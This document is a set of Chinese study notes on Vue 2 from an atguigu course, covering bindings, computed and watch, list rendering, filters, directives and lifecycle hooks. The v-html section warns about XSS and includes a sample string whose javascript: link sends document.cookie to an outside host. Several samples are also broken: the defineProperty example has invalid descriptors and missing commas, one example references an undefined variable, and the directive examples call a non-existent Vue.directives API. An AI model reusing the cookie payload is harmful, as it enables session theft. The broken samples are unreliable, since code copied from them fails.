Vue学习笔记 -- atguigu课程 Vue2+Vue3

Vue核心

简介

• 一套用于构建用户界面的渐进式JavaScript框架
• vue可以自底向上的逐层应用

官网

https://cn.vuejs.org/

特点

• 采用组件化模式，提高代码复用率，且让代码更好维护
• 声明式编码，让编码人员无需直接操作DOM，提高开发效率
• 使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点

阻止 vue 在启动时生成生产提示：

Vue.config.productionTip = false;

总结

1. 想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象
2. root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue写法
3. root容器里的代码被称为【Vue模板】
4. 容器和Vue实例是一一对应的，在{{}}}内部可以写js表达式
5. 真实开发中只有一个Vue实例，并且会配合着组件一起使用
6. {{}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性
7. 一旦data中的数据发生改变，那么模板中用到该数据的地方也会自动更新

注意区分：js表达式和js代码（语句）

1. 表达式：一个表达式会生成一个值，可以放在任何一个需要值的地方：（1）a

   （2）a+b

   （3）demo(1)

   （3）x === y ? ‘a’ :‘b’

2. js代码（语句）

   （1）if( ){ }

   （1）for( ){ }

模板语法

插值语法

<div id="root">
    <h1>Hello,{{name}}</h1>
</div>


<script type="text/javascript">
    Vue.config.productionTip = false;  //阻止 vue 在启动时生成生产提示

//创建vue实例
new Vue({
    el:'#root',  //el用于指定当前vue实例为哪个容器服务，值通常为css选择器字符串
    data:{ //data中用于储存数据，数据供el所指定的容器去使用 ，值我们暂时先写成一个对象
        name:'jack'
    }
})

• 功能：用于解析标签体内容
• 写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中所有的属性

指令语法

<a v-bind:href="url">点我去尚硅谷学习1</a>
<a :href="url">点我去尚硅谷学习2</a>

• 功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）
• 距离：v-bind:href = “xxx” 或简写为 :href = “xxx”，xxx同样要写js表达式，且可以直接读取到data中的所有属性
• 备注：Vue中有很多的指令，且形式都是：v - ???

数据绑定

v-model可以实现双向绑定，v-model只能引用在表单类元素（输入类元素）上

Vue中有2中数据绑定的方式：

1. 单向绑定（v-bind）：数据只能从data流向页面
2. 双向绑定（v-model）：数据不仅能从data流向页面，还可以从页面流向data。
   • 双向绑定一般都应用在表单类元素上（如：input、select等）
   • v-model:value 可以简写为v-model，因为v-model默认收集的就是value的

<!-- 普通写法 -->
    <div id="root">
        单向数据绑定：<input type="text" v-bind:value="name">
        双向数据绑定：<input type="text" v-model:value="name">
    </div> 

<!-- 简写 -->
    <div id="root">
        单向数据绑定：<input type="text" :value="name">
        双向数据绑定：<input type="text" v-model="name">
    </div> 

el与data的两种写法

el的两种写法

方式一：

<!-- 准备好一个容器 -->
<div id="root">
     <h1>插值语法</h1>
     <h3>Hello,{{name}}</h3>
     <hr>
</div> 
<script type="text/javascript">
   //创建vue实例
   new Vue({
       el:'#root',  
       data:{ 
          name:'jack',
       }
   })
</script>

方式二：

<!-- 准备好一个容器 -->
<div id="root">
     <h1>插值语法</h1>
     <h3>Hello,{{name}}</h3>
     <hr>
</div> 
<script type="text/javascript">
   //创建vue实例
   const v = new Vue({
       data:{ 
          name:'jack',
       }
   })
   v.$mount('#root')
	
</script>

data的两种写法

方式一：（对象式）

<!-- 准备好一个容器 -->
<div id="root">
     <h1>插值语法</h1>
     <h3>Hello,{{name}}</h3>
     <hr>
</div> 
<script type="text/javascript">
   //创建vue实例
   new Vue({
       el:'#root',  
       data:{ 
          name:'jack',
       }
   })
</script>

方式二：（函数式）

<!-- 准备好一个容器 -->
<div id="root">
     <h1>插值语法</h1>
     <h3>Hello,{{name}}</h3>
     <hr>
</div> 
<script type="text/javascript">
   //创建vue实例
   new Vue({
       el:'#root',  
       data(){
    	   return{
			   name:'jack' 
	       }    
	   }
   })
</script>

如何选择：学习到组件时，data必须使用函数式，否则会报错

一个重要的原则：由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是vue实例了，而是window

MVVM模型

1. M：模型(Model)：对应data中的数据
2. V：视图(View)：模板
3. VM：视图模型(ViewModel)：Vue实例对象

观察发现：

1. data中所有的属性，最后都出现在vm身上
2. vm身上所有的属性 及 vue原型上所有的属性，在Vue模板中都可以直接使用

Object.defineProperty

<script type="text/javascript">
    let number = 18
let person = {
    name:'张三',
    sex:'男'
}
Object.defineProperty(person,'age',{
    value:18,
    enumerable:true,//控制属性是否可以枚举，默认是false
    writable:true, //控制属性是否可以被修改，默认是false
    configurable:true //控制属性是否可以被删除，默认值是false

    //当有人读取person的age属性时，get函数（getter）就会被调用，且返回值就是age的值
    get:function(){
    return number
}

//当有人修改person的age属性时，set函数（setter）就会被调用，且会收到修改的具体值
set(value){
    console.log('有人修改了age属性，且值是',value),
        number = value
}

})
console.log(person);
</script>

数据代理

通过一个对象代理对另一个对象中属性的操作（读/写）

<script>
    let obj = {x:100}
	let obj2 = {y:120}
    
    Object.defineProperty(object2,'x',{
        get(){
            return obj.x
        },
        set(value){
            obj.x = value
        }
    })
        
</script>

Vue中的数据代理：

• 通过vm对象来代理data对象中属性的操作（读/写）

Vue中数据代理的好处：

• 更加方便的操作data中的数据

基本原理：

• 通过Object.defineProperty()把data对象中所有属性添加到vm上
• 为每一个添加到vm上的属性，都指定一个getter/setter方法
• 在getter/setter内部去操作（读/写）data中对应的属性

事件处理

事件的基本使用

1. 使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名
2. 事件的回调需要配置在methods对象中，最终会在vm上
3. methods中配置的函数，不要用箭头函数！否则this就不是vm了
4. methods中配置的函数，都是vue所管理的函数，this的指向是vm或组件实例对象
5. @click = ‘demo’ 和 @click = 'demo($event)'效果一致，但是后者可以传参

如果想要在函数中传参且不丢失event的话，要使用$event来占位，如showInfo2

<body>
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <button @click="showInfo1">点我提示信息1(不传参)</button>
        <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
    </div>


    <script>
        new Vue({
            el:'#root',
            data:{
                name:'atguigu'
            },
            methods:{
                showInfo1(event){
                    alert('hello1')
                },
                showInfo2(event,number){
                    console.log(event,number)
                    alert('hello2')
                }
            }
        })
    </script>
</body>

事件修饰符

1. prevent：阻止默认事件（常用）
2. stop：阻止事件冒泡（常用）
3. once：事件只触发一次（常用）
4. capture：使用事件的捕获模式
5. self：只有event.target是当前操作的元素时才触发事件
6. passive：事件的默认行为立即执行，无需等待事件回调执行完毕

<body>
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!-- 阻止默认事件 -->
        <a href="http://atguigu.com" @click.prevent="showInfo">点我提示信息</a>
    
        <!-- 阻止事件冒泡 -->
        <div class="demo1" @click="showInfo">
            <button @click.stop="showInfo">点我提示信息</button>
        </div>

        <!-- 事件只触发一次 -->
        <button @click.once="showInfo">点我提示信息</button>

        <!-- 使用事件的捕获模式 -->
        <div class="box1" @click.capture="showMsg(1)">
            div1
            <div class="box2" @click="showMsg(2)">
                div2
            </div>
        </div>

        <!-- self：只有event.target是当前操作的元素时才触发事件 -->
        <div class="demo1" @click.self="showInfo">
            <button @click="showInfo">点我提示信息</button>
        </div>

        <!--  事件的默认行为立即执行，无需等待事件回调执行完毕 -->
        <ul @wheel.passive="demo" class="list">
            <li>1</li>
            <li>2</li>
            <li>3</li>
            <li>4</li>
        </ul>
        
    </div>


    <script>
        new Vue({
            el:'#root',
            data:{
                name:'atguigu'
            },
            methods:{
                showInfo(e){
                    // alert('同学你好')
                    console.log(e.target)
                },
                showMsg(msg){
                    console.log(msg)
                },
                demo(msg){
                    for(let i = 0;i<10000;i++){
                        console.log('#')
                    }
                    console.log('oh')
                }
            }
        })
    </script>
</body>

键盘事件

1. Vue中常用的按键别名：

   回车 =》 enter

   删除 =》 delete（捕获“退格”和“删除”）

   退出 =》 esc

   空格 =》space

   换行 =》 tab

   上 =》up

   下 =》down

   左 =》left

   右 =》right

2. Vue未提供别名的按键，可以使用按键原始的key去绑定，但注意要转为kebab-case(短横线命名)

3. 系统修饰键(用法特殊)：ctrl、alt、shift、meta

   • 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发
   • 配合keydown使用：正常触发事件

4. 也可以使用keyCode去指定具体的按键（不推荐）

5. Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名

注：如果按键key是由两个单词组成的，在使用时均要使用小写，且两个单词之间需要用 - 连接，如 @keyup.caps-lock = “showInfo”

<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">

计算属性

计算属性 - computed

1. 要显示的数据不存在，要通过计算得来
2. 在computed对象中定义计算属性
3. 在页面中使用（方法名）来显示计算的结果

总结

1. 定义：要用的属性不存在，要通过已有属性计算得来。
2. 原理：底层借助了Object.defineproperty方法提供的getter和setter
3. get函数什么时候执行？
   • 初次读取时会执行一次
   • 当依赖的数据发生改变时会被再次调用
4. 优势：methods实现相比，内部有缓存机制（复用），效率更高，调试方便
5. 备注：
   • 计算属性最终会出现在vm上，直接读取使用即可
   • 如果计算属性要被修改，那必须学set函数去响应修改，且set中要引起计算时依赖的数据发生改变

<body>

    <div id="root">
        姓：<input type="text" v-model="firstName"><br><br>
        名：<input type="text" v-model="lastName"><br><br>
        姓名：<span>{{fullName}}</span>

    </div>
    
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三'
        },
        computed:{
            fullName:{
                //get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
                //get什么时候调用？1.初次读取fullname的时候  2.所依赖的数据发生变化时
                get(){
                    //此处的this是vm
                    return this.firstName + '-' + this.lastName;

                },
                //set什么时候调用？当dullName被修改时
                set(value){
                    const arr = value.split('-')
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
        }     
    })
</script>

缩写

只考虑读取不考虑修改的时候才可以考虑使用简写形式

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三'
        },
        computed:{
            fullName(){
                return this.firstName + '-' + this.lastName
            }
        }      
    })
</script>

监视属性-watch

1. 通过vm对象的$watch()或watch配置来监视指定的属性
2. 当属性变化时，回调函数自动调用，在函数内部进行计算

使用watch：（在写的过程中就知道需要监视谁就用这种写法）

watch:{
    isHot:{
        //初始化时让handler调用一下
        immediate:true,
            //handler什么时候调用？当isHot发生改变时
            handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)

        }
    }
}

使用$watch()：（用于在写完以后需要再添加监视的情况）

vm.$watch('isHot',{
    immediate:true,
    //handler什么时候调用？当isHot发生改变时
    handler(newValue,oldValue){
        console.log('isHot被修改了',newValue,oldValue)
    }

})

总结

1. 当被监视的属性变化时，回调函数自动调用，进行相关操作
2. 监视的属性值必须存在，才能进行监视
3. 监视的两种写法：
   • new Vue时传入watch配置
   • 通过vm.$watch监视

深度监视

1. Vue中的watch默认不监测对象内部值的改变（一层）
2. 配置deep：true可以监测对象内部值的改变（多层）

备注：

• Vue自身可以监测对象内部值的改变，但vue提供的watch默认不可以！
• 使用watch时可以根据数据的具体结构，决定是否采用深度监视

简写

//简写
vm.$watch('isHot',function(newValue,oldValue){
    console.log('isHot被修改了',newValue,oldValue)
})

watch:{
    //简写
    isHot(newValue,oldValue){
        console.log('isHot被修改了',newValue,oldValue)
    }
}

computed和watch区别

1. computed能完成的功能，watch都能完成
2. watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作

两个重要的小原则：

1. 所被 vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象
2. 所有不被vue所管理的函数（定时器的回调函数、ajax的回调函数等），最好写成箭头函数，这样this的指向才是vm或组件实例对象

class与style绑定

理解

1. 在应用界面中，某个（些）元素的样式是变化的
2. class/style绑定就是专门用来实现动态样式效果的技术

class绑定

1. :class = ‘xxx’

2. 表达式是字符串：‘classA’

3. 表达式是对象：{classA:isA , classB:isB}

4. 表达式是数组：[‘classA’ , 'classB]

<body>
    <div id="root">
        <!-- 绑定class样式  字符串写法  适用于：样式的类名不确定，需要动态指定 -->
        <div class="basic" :class="mood"  @click="changeMood">{{name}}</div>
        <br>
        <!-- 绑定class样式  数组写法  适用于：要绑定的样式个数不确定、名字也不确定 -->
        <div class="basic" :class="classArr">{{name}}</div>
        <br>
        <!-- 绑定class样式  对象写法  适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用-->
        <div class="basic" :class="classObj">{{name}}</div>
        <br>
        <!-- 绑定style 对象写法-->
        <div class="basic" :style="styleObj">{{name}}</div>
        <br>
        <!-- 绑定style 数组写法-->
        <div class="basic" :style="styleArr">{{name}}</div>

    </div>
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            name:'atguigu',
            mood:'normal',
            classArr:['atguigu1','atguigu2','atguigu3'],
            classObj:{
                atguigu1:false,
                atguigu2:true
            },
            styleObj:{
                fontSize:'40px',
                color:'red',
            },
            styleObj2:{
                backgroundColor:'orange'

            },
            styleArr:[
                {
                    fontSize:'40px',
                    color:'blue',
                },
                {
                    backgroundColor:'orange'
                }            
            ]
        },
        methods: {
            changeMood(){
                const arr = ['happy','sad','normal']
                const index = Math.floor(Math.random()*3)
                this.mood = arr[index]
                
            }
        },
    })
</script>

总结

1. class样式：
   • 写法 :class = “xxx” xxx可以是字符串、对象、数组
   • 字符串写法适用于：样式的类名不确定，需要动态指定
   • 数组写法适用于：要绑定的样式个数不确定、名字也不确定
   • 对象写法适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用
2. style样式
   • :style = “{fontSize : xxx}” 其中xxx是动态值
   • :style = “[a,b]” 其中a,b是样式对象

条件渲染

条件渲染指令

1. v-if 与 v-else
2. v-show

比较v-if与v-show

1. 如果需要频繁切换v-show较好
2. 当条件不成立时，v-if的所有子节点不会解析

总结

v-if：

1. 写法：
   • v-if = “表达式”
   • v-else-if = “表达式”
   • v-else = “表达式”
2. 适用于：切换频率较低的场景
3. 特点：不展示的DOM元素直接被删除
4. 注意：v-if可以和 :v-else-if 、v-else一起使用，但是要求结构不能被打断

v-show：

1. 写法：v-show = “表达式”
2. 适用于：切换频率较高的场景
3. 特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

备注：使用v-if的时候，元素可能无法或去掉，而使用v-show一定可以获取到

列表渲染

v-for指令：

1. 用于展示列表数据
2. 语法：v-for = ”(item, index) in xxx“ :key=“yyy”
3. 可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

<body>
    <div id="root">
        <ul>
            <li v-for="p in persons" :key="p.id">
                {{p.name}} - {{p.age}}
            </li>
           
        </ul>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false


        new Vue({
            el:'#root',
            data:{
                persons:[
                    {id:'001',name:'张三',age:18},
                    {id:'002',name:'李四',age:19},
                    {id:'003',name:'王五',age:20}
                ]
            }
        })
    </script>    
</body>

面试题

react、vue中的key有什么作用

1. 虚拟DOM中key的作用：

   key是虚拟DOM对象的标识，当状态中的数据发生变化时，vue会根据新数据生成新的虚拟DOM，随后vue进行虚拟DOM和旧虚拟DOM的差异比较，比较规则如下：

2. 对比规则

   （1）旧虚拟DOM中找到了与新虚拟DOM相同的key：

         -  若虚拟DOM中内容没变，直接使用之前的真实DOM
         -  若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM
   

   （2）旧虚拟DOM中未找到与新虚拟DOM相同的key：

    - 创建新的真实DOM，随后渲染到页面
   

3. 用index作为key可能会引发的问题

   （1）若对数据进行：逆序添加、逆序删除等破坏顺序操作：会产生没有必要的真实DOM更新===》界面效果没问题，但效率低

   （2）如果结构中还包含输入类的DOM：会产生错误的DOM更新==》界面有问题

4. 开发中如何选择key

   （1）最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值

   （2）如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的

列表过滤

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>人员列表</h2>
        <input type="text" placeholder="请输入名字" v-model="keyword">
        <ul>
            <li v-for="(p,index) in persons" :key="p.id">
                {{p.name}} - {{p.age}} - {{p.sex}}
            </li>
        </ul>

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false

        //用watch实现
        //#region 
        // new Vue({
        //     el:'#root',
        //     data:{
        //         keyword:'',
        //         persons:[
        //             {id:'001',name:'马冬梅',age:18,sex:'女'},
        //             {id:'002',name:'周冬雨',age:19,sex:'女'},
        //             {id:'003',name:'周杰伦',age:20,sex:'男'},
        //             {id:'004',name:'温兆伦',age:21,sex:'男'},
        //         ],
        //         filPersons:[]
        //     },
        //     watch:{
        //         keyword:{
        //             immediate:true,
        //             handler(val){
        //                 this.filPersons = this.persons.filter((p)=>{
        //                 return p.name.indexOf(val) !== -1
        //                 })
        //             }   
        //         }
                
        //     }
            
        // })
        //#endregion

        //用computed实现
        new Vue({
            el:'#root',
            data:{
                keyword:'',
                persons:[
                    {id:'001',name:'马冬梅',age:18,sex:'女'},
                    {id:'002',name:'周冬雨',age:19,sex:'女'},
                    {id:'003',name:'周杰伦',age:20,sex:'男'},
                    {id:'004',name:'温兆伦',age:21,sex:'男'},
                ]
            },
            computed:{
                filPersons(){
                    return this.persons.filter((p)=>{
                        return p.name.indexOf(val) !== -1
                    })
                }
            }
            
        })
    </script>
    
</body>
</html>

Vue监测数据的原理

Vue.set()方法

后添加data属性值，想给该属性添加响应式的方法：

只能给data中的对象添加属性，不能给data、vm添加属性

//vm
new Vue({
            el:'#root',  
            data:{ 
                name:'atguigu',
                address:'beijing',
                student:{
                    name:'liu',
                    age:18
                }
            }
})
//方法一：
Vue.set(vm.student,'sex','男')

//方法二：
vm.$set(vm.student,'sex','男')

数组更新监测

变更方法

Vue 将被侦听的数组的变更方法进行了包裹，所以它们也将会触发视图更新。这些被包裹过的方法包括：

• push()
• pop()
• shift()
• unshift()
• splice()
• sort()
• reverse()

你可以打开控制台，然后对前面例子的 items 数组尝试调用变更方法。比如 example1.items.push({ message: 'Baz' })。

替换数组

变更方法，顾名思义，会变更调用了这些方法的原始数组。相比之下，也有非变更方法，例如 filter()、concat() 和 slice()。它们不会变更原始数组，而总是返回一个新数组。当使用非变更方法时，可以用新数组替换旧数组：

example1.items = example1.items.filter(function (item) {
  return item.message.match(/Foo/)
})

你可能认为这将导致 Vue 丢弃现有 DOM 并重新渲染整个列表。幸运的是，事实并非如此。Vue 为了使得 DOM 元素得到最大范围的重用而实现了一些智能的启发式方法，所以用一个含有相同元素的数组去替换原来的数组是非常高效的操作。

注意事项

由于 JavaScript 的限制，Vue 不能检测数组和对象的变化。深入响应式原理中有相关的讨论。

总结

1. vue会监视data中所有层次的数据

2. 如何监测对象中的数据？

   通过setter实现监视，且要在new Vue时就 流入要监测的数据

   • 对象中后追加的属性，vue默认不做响应式处理

   • 如需给后添加的属性做响应式，请使用如下api

     Vue.set(target,propertyName/index,value)
     vm.$set(target,propertyName/index,value)
     

3. 如何监测数组中的数据？

   通过包裹数组更新元素的方法实现，本质就是做了两件事：

   • 调用原生对应的方法对数组进行更新
   • 重新解析模板，进而更新页面

4. 在vue修改数组中的某个元素一定要用如下方法：

   • 使用这些api：pusht() pop() shift() unshift() splice() sort() reverse()
   • Vue.set() 或 vm.$set()

Vue.set() 和 vm.$set()不能给vm或vm的跟数据对象添加属性！！

收集表单数据

1. ，则v-model收集的时value的值，用户输入的就是value的值
2. ，则v-model收集的时value的值，且要给标签配置value值
3. - 没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值） - 配置input的value属性： - v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值） - v-model的初始值是数组，那么收集的就是value组成的数组
4. 备注：v-model的三个修饰符、
   • lazy：失去焦点再收集数据
   • number：输入字符串转为有效的数字
   • trim：输入首位空格过滤

<!--
 * @Author: Liu viotieba@126.com
 * @Date: 2023-05-11 14:45:07
 * @LastEditors: Liu viotieba@126.com
 * @LastEditTime: 2023-05-11 15:19:35
 * @FilePath: \vue_basic\收集表单数据.html
 * @Description: 这是默认设置,请设置`customMade`, 打开koroFileHeader查看配置 进行设置: https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="js/vue.js"></script>
</head>
<body>

    <div id="root">
        <form @submit.prevent="demo">
            账号：<input type="text" v-model.trim="userInfo.account"><br><br>
            密码：<input type="password" v-model="userInfo.password"><br><br>
            年龄：<input type="number" v-model.number="userInfo.age"><br><br>
            性别：
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
            爱好：
            学习<input type="checkbox" v-model="userInfo.hobby" value="study">
            打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
            吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br><br>
            所属校区：
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="wuhan">武汉</option>
            </select><br><br>
            其他信息
            <textarea v-model.lazy="userInfo.other">

            </textarea><br><br>
            <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
            <button>提交</button>
        </form>
    </div>
    
</body>
<script>
    new Vue({
        el:'#root',
        data:{
            userInfo:{
                account:'',
                password:'',
                age:18,
                sex:'female',
                hobby:[],
                city:'beijing',
                other:'',
                agree:'false'
            }

        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        },
    })
</script>
</html>

过滤器

• 定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
• 语法：

​ 1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}

​ 2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

• 备注：

​ 1.过滤器也可以接收额外参数、多个过滤器也可以串联

​ 2.并没有改变原本的数据, 是产生新的对应的数据

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是：{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是：{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			<!-- 过滤器实现（传参） -->
			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好，尚硅谷'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,atguigu!'
			}
		})
	</script>
</html>

vue指令

内置指令

已经学过的指令：

• v-bind：单向数据绑定解析表达式，可简写为 :xxx

• v-model：双向数据绑定

• v-for：遍历数组/对象/字符串

• v-on：绑定事件监听，可简写为@

• v-if：条件渲染（动态控制节点是否存在）

• v-else：条件渲染（动态控制节点是否存在）

• v-show：条件渲染（动态控制节点是否展示）

v-text指令

1. 作用：向其所在的节点中渲染文本内容
2. 与插值语法的区别：v-text会替换掉节点中的内容，{{xxx}}则不会

<body>
    <div id="root">
        <div v-text="name"></div>
    </div>
    
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            name:'atguigu'
        }

    })
</script>

v-html指令

1. 作用：向指定节点中渲染包含html结构的内容
2. 与插值语法的区别：
   • v-html会替换掉节点中左右的内容，{{xxx}}则不会
   • v-html可以识别html结构
3. 严重注意：v-html有安全性问题！
   • 在网站上动态渲染任意html是非常危险的，容易导致xss攻击
   • 一定要在可信的内容上使用v-html，永不要用在用户提交的内容

<body>
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
    
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            name:'atguigu',
            str:'<h3>你好啊</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>来来来</a>'
        }

    })
</script>

v-cloak指令

v-cloak指令（没有值）

1. 本质是一个特殊属性，vue实例创建完毕并接管容器后，会删掉v-cloak属性
2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

<style>
        [v-cloak]{
            display: none;
        }
</style>
<body>
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            name:'atguigu',
            
        }

    })
</script>

v-once指令

1. v-once所在节点在初次动态渲染后，就视为静态内容了
2. 以后数据的变化不会引起v-once所在结构的更新，可以用于优化性能

<body>
    <div id="root">
        <h2 v-once>初始化的n值是：{{n}}</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            n:1
            
        }

    })
</script>

v-pre指令

1. 跳过其所在节点的编译过程
2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<body>
    <div id="root">
        <h2 v-pre>vue其实很简单</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            n:1            
        }
    })
</script>

自定义指令

总结

一、定义语法：

（1）局部指令：

new Vue({
    directives:{指令名：配置对象}
})

//或者
new vue({
    directives(){}
})

（2）全局指令

Vue.directives(指令名，配置对象)

//或者
Vue.directives(指令名，回调函数)

二、配置对象中常用的三个问题

（1）bind：指令与元素成功绑定时调用

（2）inserted：指令所在元素被插入页面时调用

（3）update：指令所在模板结构被重新解析时调用

三、备注

（1）指令定义时不加v-，使用时要加v-

（2）指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名

<body>
    <!-- 
        需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
        需求2：定义一个v-fbind指令，和v-bing功能相似，但可以让其所绑定的input元素默认获取焦点
     -->
    <div id="root">
        <h2>当前的n值是：<span v-text="n"></span></h2>
        <h2>放大十倍后的n值是：<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>

        <hr>

        <input type="text" v-fbind:value="n">
       
    </div>
    
</body>
<script>
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            n:1
            
        },
        directives:{
            // big函数何时会被调用？
            //1.指令与元素成功绑定时（一上来） 2.指令所在的模板被重新解析时
            big(element,binding){
                element.innerText = binding.value * 10
                
            },
            fbind:{
                //当指令与元素成功绑定时（一上来）
                bind(element,binding){
                    element.value = binding.value

                },
                //指令所在元素被插入页面时调用
                inserted(element,binding){
                    element.focus()

                },
                //指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                    element.focus()
                }
            }
            
        }

    })
</script>

定义全局指令

//定义全局指令
Vue.directives('fbind',{
    //当指令与元素成功绑定时（一上来）
    bind(element,binding){
        element.value = binding.value

    },
    //指令所在元素被插入页面时调用
    inserted(element,binding){
        element.focus()

    },
    //指令所在的模板被重新解析时
    update(element,binding){
        element.value = binding.value
        element.focus()
    }
})

Vue.directives('big',function(element,binding){
    element.innerText = binding.value * 10    
})

生命周期

1. 又名：生命周期回调函数、生命周期函数、生命周期钩子
2. 是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
3. 生命周期函数的名字不可更改，但是函数的具体内容是程序员根据需求编写的
4. 生命周期函数中的this指向是vm或组件实例对象

<body>
    <div id="root">
        <h2 :style="{opacity}" >欢迎学习vue</h2>
    </div>
    
    
</body>
<script>
    Vue.config.productionTip = false

    const vm = new Vue({
        el:'#root',
        data:{
            opacity:1
        },
        methods: {
            
        },
        //vue完成模板的解析并把初始的真实的dom元素放入页面后（挂载完毕）调用mounted
        mounted() {
            setInterval(() => {
                this.opacity -= 0.01
                if(this.opacity <= 0) this.opacity = 1
                                
            }, 16);
            
        },
        
    })

    //通过外部的定时器实现（不推荐）
    // setInterval(() => {
    //     vm.opacity -= 0.01
    //     if(vm.opacity <= 0){
    //         vm.opacity = 1
    //     }
        
    // }, 16);
</script>

vm的生命周期

• 将要创建 ===》调用beforeCreate函数

• 创建完毕 ===》调用created函数

• 将要挂载===》调用beforeMount函数

• 挂载完毕 ===》调用mounted函数

• 将要更新 ===》调用beforeUpdate函数

• 更新完毕 ===》调用updated函数

